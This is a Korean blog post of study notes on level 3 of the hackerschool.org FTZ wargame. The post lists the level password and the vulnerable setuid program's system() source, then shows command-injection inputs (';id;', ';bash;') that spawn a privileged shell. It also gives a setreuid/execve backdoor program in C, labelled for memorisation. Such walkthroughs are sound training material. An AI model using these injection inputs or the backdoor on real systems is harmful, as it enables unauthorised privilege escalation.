www.hackerschool.org 를 이용해 공부한다.
목적 : system() 함수의 취약점
level3 사용자로 로그인
ID : level3
Pass : can you fly?
$ ls -l
$ cat hint
- 동시에 여러 명령어를 사용하려면 ? - 세미콜론
- 문자열 형태로 명령어를 전달하려면? - 작은따옴표나 큰따옴표로 묶으면 된다.
소스코드를 통해 알 수 있는 내용
Ex) dig @ 168.126.63.1 version.bind chaos txt
[참고][클릭] dig/host/nslookup 명령어 사용법
$ find / -name autodig 2>/dev/null
$ ls -l /bin/autodig
# find / -user level4 -perm -4000 2>/dev/null
$ /bin/autodig 168.126.63.1
---------- /bin/autodig ----------
strcpy(cmd, "dig@");
strcat(cmd,argv[1]);
strcat(cmd," version.bind chaos txt");
system(cmd);
---------- /bin/autodig ----------
# /bin/autodig 168.126.63.1
# dig @ 168.126.63.1 version.bind chaos txt
$ dig @168.126.63.1 version.bind chaos
상동
$ /bin/autodig "168.126.63.1 www.naver.com; id;"
$ /bin/autodig "168.126.63.1 www.naver.com; bash;"
중략
$ my-pass
★ 백도어 생성(반드시 암기)
$ vi /tmp/backdoor.c
1 2 3 4 5 6 7 8 9 10 11 12 | #include<stdio.h> int main() { char *cmd[2]; // 2칸 짜리 배열을 만들었다. char형태의 포인터. cmd[0] = "/bin/bash"; // 0번에는 /bin/bash를 집어넣고 cmd[1] = (void *)0; // 1번에는 이걸 넣는데 포인터를 초기화 할때 사용한다. // 이것을 집어 넣고 NULL처리 한것이다. 배열은 NULL처리 될 때 까지만 읽기 때문에. setreuid(3004,3004); execve(cmd[0], cmd, cmd[1]); /* int execve (const char *filename, char *const argv [], char *const envp[]); */ } | cs |
execve
왜 cmd[0]을 썼나
> 어딘가에 뭔가 내용이 들어가고 또 내용이 들어갈텐데 여기에는 결국엔 캐릭터가 들어간다.
> cmd 0번과 cmd 1번이 있다.
> 각각 주소가 들어가는데 캐릭터가 들어가는 그 위치를 가리키고 있다.
> 주소 부분에 /bin/bash를 넣고
> 1번에는 0이라고 NULL 처리를 해 놨다.
인자
> 첫번째는 실행하려고 하는 프로그램의 주소를 써야한다.
> 두번째는 argv라는게 원래 포인터인데 이중포인터가 되는거다. 포인터의 포인터
> cmd라고 쓴 이유는 cmd 0번의 주소.
>> cmd = &cmd[0]
>> 내가 cmd[0]을 가리키면 /bin/bash를 가리키는 거다.
> 세 번째는 이중 포인터, 환경변수는 없다. 순수하게 프로그램만 실행하겠다.
결론은 /bin/bash를 실행하겠다.
system("/bin/bash")는 환경변수를 못 준다.
그러나 execve는 환경변수도 줄 수 있다.
'보안과정 > 리버싱' 카테고리의 다른 글
Level 5 → Level 6 (0) | 2017.11.29 |
---|---|
Level 4 → Level 5 (0) | 2017.11.28 |
Level 2 → Level 3 (0) | 2017.11.28 |
Level1 문제 도전. (0) | 2017.11.27 |
백도어(Backdoor) (0) | 2017.11.27 |